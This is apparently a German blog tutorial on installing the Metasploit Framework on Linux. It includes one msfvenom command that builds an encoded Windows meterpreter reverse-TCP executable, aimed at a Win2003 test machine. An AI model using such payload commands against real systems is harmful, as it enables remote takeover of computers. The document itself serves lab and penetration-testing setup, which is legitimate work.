Detaillierte Erläuterung des Installationsprozesses von msf auf einem Linux-System

Detaillierte Erläuterung des Installationsprozesses von msf auf einem Linux-System

Oder schreiben Sie den Installationsvorgang selbst auf!

Mein Serversystem ist Aliyun Linux

1. Herunterladen und installieren
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Möglicher Fehler: Datei /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit konnte nicht geöffnet werden

Es liegt an einem Problem bei der Installation der Bibliothek!
Lösung:
yum install -y epel-release
Dann wiederholen Sie den obigen Befehl!

2. Fügen Sie einen neuen Benutzer hinzu und führen Sie msf aus
adduser msf #MSF-Benutzer hinzufügen
su msf #Zum msf-Benutzer wechseln
cd /opt/metasploit-framework/bin #Wechseln Sie in das Verzeichnis, in dem sich msf befindet
./msfconsole
#Starten Sie msfconsole künftig und wechseln Sie zum Starten zum msf-Benutzer, damit die Datenbank synchronisiert wird.
Wenn Sie es als Root-Benutzer starten, wird die Datenbank nicht synchronisiert!
(Der Startindex ist bereits standardmäßig konfiguriert!)
Starten Sie einfach msfconsole!

#Verwandte Befehle [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# Datenbankinitialisierung [msf@xxxx root]$ msfdb
Befehle:
 init initialisiert die Komponente
 reinit löscht und initialisiert die Komponente neu
 löschen löschen und stoppen Sie die Komponente
 Statusprüfung Komponentenstatus
 Starten Sie die Komponente
 Stoppen Sie die Komponente
 Neustart Starten Sie die Komponente neu
#prüfen:
Beispielsweise ist mein virtueller Host Win2003 (Zielmaschine)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

Hinweis: Wenn es sich um eine elastische Cloud-Server-IP handelt, sollte LHOST auf die vom Intranet zugewiesene IP eingestellt werden, und die öffentliche IP kann nicht eingestellt werden. [Dieser Fehler hat mich lange geärgert! ! ! Blut erbrechen! ! ! ]

Bildbeschreibung hier einfügen

ps: Installieren Sie das msf-Framework unter einem Linux-System

Befehl:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

Warten Sie einfach, bis der Lauf beendet ist. Drücken Sie an den wichtigen Stellen einfach die Eingabetaste und Y.

Zusammenfassen

Dies ist das Ende dieses Artikels über den detaillierten Prozess der Installation von msf auf einem Linux-System. Weitere relevante Inhalte zur Installation von msf auf einem Linux-System finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den verwandten Artikeln weiter unten. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

Das könnte Sie auch interessieren:
  • Detaillierte Erklärung des php-msf-Quellcodes
  • Anweisungen zur Verwendung der gespeicherten Systemprozeduren sp_MSforeachtable und sp_MSforeachdb

<<:  React Native JSI implementiert Beispielcode für RN und native Kommunikation

>>:  Tutorial zur Installation von MySQL8 unter Linux CentOS7

Artikel empfehlen

10 Fähigkeiten, die Frontend-Entwickler millionenschwer machen

Die Fähigkeiten, die Front-End-Entwickler beherrs...

CUDA8.0 und CUDA9.0 koexistieren unter Ubuntu16.04

Vorwort Einige der früheren Codes auf Github erfo...

Codebeispiele für allgemeine Vorgänge bei der Docker-Image-Verwaltung

Spiegelung ist auch eine der Kernkomponenten von ...

Installationstutorial auf Unternehmensebene unter Verwendung des LAMP-Quellcodes

Inhaltsverzeichnis LAMP-Architektur 1.Lampeneinfü...

Ubuntu Docker-Installation in VMware (Containererstellung)

1. Mindmap 2. So bauen Sie einen Container 2.1 Vo...

HTML-Optimierung beschleunigt Webseiten

Offensichtliches HTML, verstecktes „öffentliches ...

Der vollständige Implementierungsprozess von Sudoku mit JavaScript

Inhaltsverzeichnis Vorwort So lösen Sie Sudoku Fü...

So verwenden Sie Makros in JavaScript

In Sprachen werden häufig Makros zur Implementier...

Detaillierte Erklärung der Truncate-Verwendung in MySQL

Anleitung in diesem Artikel: Es gibt zwei Möglich...

Lernprogramm zur Verwendung des WeChat-Applets WXS

Was ist wxs? wxs (WeiXin Script) ist eine Skripts...

Detailliertes Tutorial zum Bereitstellen von Apollo mit Docker

1. Einleitung Ich werde hier nicht näher auf Apol...